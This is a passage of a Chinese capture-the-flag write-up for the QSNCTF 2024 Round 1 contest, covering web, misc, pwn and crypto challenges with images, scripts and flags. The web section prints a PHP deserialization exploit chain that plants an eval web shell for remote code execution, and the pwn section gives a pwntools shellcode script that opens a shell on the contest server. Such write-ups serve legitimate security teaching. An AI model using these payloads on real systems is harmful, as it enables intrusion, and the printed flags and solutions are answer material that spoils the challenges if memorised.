<?php error_reporting(0);class shi {public $next;public $pass;public function __toString(){$this->next::PLZ($this->pass);}}class wo {public $sex;public $age;public $intention;public function __destruct(){echo "Hi Try serialize Me!";$this->inspect();}function inspect(){if($this->sex=='boy'&&$this->age=='eighteen') {echo $this->intention;}echo "🙅18岁🈲";}}class Demo {public $a;static function __callStatic($action, $do) {global $b;$b($do[0]); }}$b = $_POST['password'];$a = $_POST['username'];@unserialize($a);if (!isset($b)) {echo "==================PLZ Input Your Name!=================="; }if($a=='admin'&&$b=="'k1fuhu's test demo") {echo("登录成功");} ?><?php error_reporting(0); class shi { public $next; public $pass; public function __toString(){ $this->next::PLZ($this->pass); } } class wo { public $sex; public $age; public $intention; public function __destruct(){ echo "Hi Try serialize Me!"; $this->inspect(); } function inspect(){ if($this->sex=='boy'&&$this->age=='eighteen') { echo $this->intention; } echo "🙅18岁🈲"; } } class Demo { public $a; static function __callStatic($action, $do) { global $b; $b($do[0]); } } $b = $_POST['password']; $a = $_POST['username']; @unserialize($a); if (!isset($b)) { echo "==================PLZ Input Your Name!=================="; } if($a=='admin'&&$b=="'k1fuhu's test demo") { echo("登录成功"); } ?><?php error_reporting(0); class shi { public $next; public $pass; public function __toString(){ $this->next::PLZ($this->pass); } } class wo { public $sex; public $age; public $intention; public function __destruct(){ echo "Hi Try serialize Me!"; $this->inspect(); } function inspect(){ if($this->sex=='boy'&&$this->age=='eighteen') { echo $this->intention; } echo "🙅18岁🈲"; } } class Demo { public $a; static function __callStatic($action, $do) { global $b; $b($do[0]); } } $b = $_POST['password']; $a = $_POST['username']; @unserialize($a); if (!isset($b)) { echo "==================PLZ Input Your Name!=================="; } if($a=='admin'&&$b=="'k1fuhu's test demo") { echo("登录成功"); } ?>
反序列化构造,利用点是Demo类里的$b($do[0];)动态函数调用
构造方法就是利用wo类的的 echo $this->intention触发shi类里的**__tostring ** 然后**_tostring ** 的静态类调用触发demo类中的**__callStatic
exp
$shi=new shi();$wo=new wo();$demo=new demo();$shi->pass="echo '<?php eval(\$_POST[1]);?>' > 3.php ";$shi->next=$demo;$wo->age='eighteen';$wo->sex='boy';$wo->intention=$shi;echo serialize($wo);$shi=new shi(); $wo=new wo(); $demo=new demo(); $shi->pass="echo '<?php eval(\$_POST[1]);?>' > 3.php "; $shi->next=$demo; $wo->age='eighteen';$wo->sex='boy';$wo->intention=$shi; echo serialize($wo);$shi=new shi(); $wo=new wo(); $demo=new demo(); $shi->pass="echo '<?php eval(\$_POST[1]);?>' > 3.php "; $shi->next=$demo; $wo->age='eighteen';$wo->sex='boy';$wo->intention=$shi; echo serialize($wo);
post传参username传序列化后的结果,password传system字符串
![图片[19],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034229901.png?imageView2/0/format/webp/q/75)
然后到3.php就可以rce拿到flag了
![图片[20],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034249880.png?imageView2/0/format/webp/q/75)
->Misc方向
CTFer_Revenge
![图片[21],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034504824.png?imageView2/0/format/webp/q/75)
打开附件是个txt
![图片[22],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034515429.png?imageView2/0/format/webp/q/75)
这应该是一个文件的16进制格式,不过反了过来,利用在线网站反转回来
![图片[23],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034525460.png?imageView2/0/format/webp/q/75)
然后写python脚本把其中的16进制数据提取出来
# 打开输入文件和输出文件input_file = '1.txt'output_file = '3.txt'# 打开输入文件进行读取with open(input_file, 'r') as f:# 读取每一行并去除前8个字符,然后写入输出文件with open(output_file, 'w') as out_f:for line in f:out_f.write(line[10:49].upper()+'\n') # 写入去除了前8个字符的行print("处理完成,输出文件为:", output_file)# 打开输入文件和输出文件 input_file = '1.txt' output_file = '3.txt' # 打开输入文件进行读取 with open(input_file, 'r') as f: # 读取每一行并去除前8个字符,然后写入输出文件 with open(output_file, 'w') as out_f: for line in f: out_f.write(line[10:49].upper()+'\n') # 写入去除了前8个字符的行 print("处理完成,输出文件为:", output_file)# 打开输入文件和输出文件 input_file = '1.txt' output_file = '3.txt' # 打开输入文件进行读取 with open(input_file, 'r') as f: # 读取每一行并去除前8个字符,然后写入输出文件 with open(output_file, 'w') as out_f: for line in f: out_f.write(line[10:49].upper()+'\n') # 写入去除了前8个字符的行 print("处理完成,输出文件为:", output_file)
然后用010创建新建二进制文件,看其文件头应该是zip格式把后缀名改为zip打开
![图片[24],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034545481.png?imageView2/0/format/webp/q/75)
其中flag是加密的图片,然后第二个提示是小写字母加数字,爆破压缩包的到密码为z12345
![图片[25],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034611400.png?imageView2/0/format/webp/q/75)
flag:qsnctf{b414e3e3a6449ddba0997db259203eb7}
小光的答案之书
![图片[26],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301132719397.png?imageView2/0/format/webp/q/75)
![图片[27],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301132742753.png?imageView2/0/format/webp/q/75)
![图片[28],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301133126570.png?imageView2/0/format/webp/q/75)
跳转后需要密码
![图片[29],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034736195.png?imageView2/0/format/webp/q/75)
对照随波逐流编码表
![图片[30],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301132808161.png?imageView2/0/format/webp/q/75)
圣武士密码->密码life
![图片[31],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034755670.png?imageView2/0/format/webp/q/75)
->Pwn方向
简单的数学题
![图片[32],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034848899.png?imageView2/0/format/webp/q/75)
![图片[33],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034853491.png?imageView2/0/format/webp/q/75)
这题就是解除三个方程即可
前两个都很简单,第三个需要用到python
![图片[34],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034904753.png?imageView2/0/format/webp/q/75)
脚本如下:
from sympy import symbols, Eq, solve# 定义符号变量 xx = symbols('x')# 定义方程equation = Eq(x**10 + 2**10 - 4*x, 6131066258749)# 解方程solution = solve(equation, x)# 打印结果print("x 的解为:", solution)from sympy import symbols, Eq, solve # 定义符号变量 x x = symbols('x') # 定义方程 equation = Eq(x**10 + 2**10 - 4*x, 6131066258749) # 解方程 solution = solve(equation, x) # 打印结果 print("x 的解为:", solution)from sympy import symbols, Eq, solve # 定义符号变量 x x = symbols('x') # 定义方程 equation = Eq(x**10 + 2**10 - 4*x, 6131066258749) # 解方程 solution = solve(equation, x) # 打印结果 print("x 的解为:", solution)
Easy_Shellcode
简单的shellcode,不过s的地址是变化的,但是题目给出了,使用pwntools接受即可
![图片[35],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035026444.png?imageView2/0/format/webp/q/75)
![图片[36],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035032557.png?imageView2/0/format/webp/q/75)
脚本如下:
from pwn import *context(os="Linux",arch="amd64")#io = process("./easy-shellcode")io=remote("challenge.qsnctf.com",32436)buff=io.recv(14)#print(buff)payload =asm(shellcraft.sh()).ljust(256,b'a') + p64(0) + p64(int(buff,16))io.sendline(payload)io.interactive()from pwn import * context(os="Linux",arch="amd64") #io = process("./easy-shellcode") io=remote("challenge.qsnctf.com",32436) buff=io.recv(14) #print(buff) payload =asm(shellcraft.sh()).ljust(256,b'a') + p64(0) + p64(int(buff,16)) io.sendline(payload) io.interactive()from pwn import * context(os="Linux",arch="amd64") #io = process("./easy-shellcode") io=remote("challenge.qsnctf.com",32436) buff=io.recv(14) #print(buff) payload =asm(shellcraft.sh()).ljust(256,b'a') + p64(0) + p64(int(buff,16)) io.sendline(payload) io.interactive()
![图片[37],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035045106.png?imageView2/0/format/webp/q/75)
->Crypto方向
解个方程
![图片[38],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035139628.png?imageView2/0/format/webp/q/75)
简单的密码加密常识
求逆元的方程为:d=libnum.invmod(e,phi)
m=pow(c,d,n)
四重加密
![图片[39],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035205637.png?imageView2/0/format/webp/q/75)
![图片[40],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035209933.png?imageView2/0/format/webp/q/75)
base32解码后得到:
![图片[41],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035218105.png?imageView2/0/format/webp/q/75)
这个就是压缩文件的密码
![图片[42],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035225826.png?imageView2/0/format/webp/q/75)
unicode编码
![图片[43],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035233824.png?imageView2/0/format/webp/q/75)
维吉尼亚
![图片[44],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035241523.png?imageView2/0/format/webp/q/75)
rot13
![图片[45],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302035249407.png?imageView2/0/format/webp/q/75)
flag内内容套到qsnctf提交
- 最新
- 最热
只看作者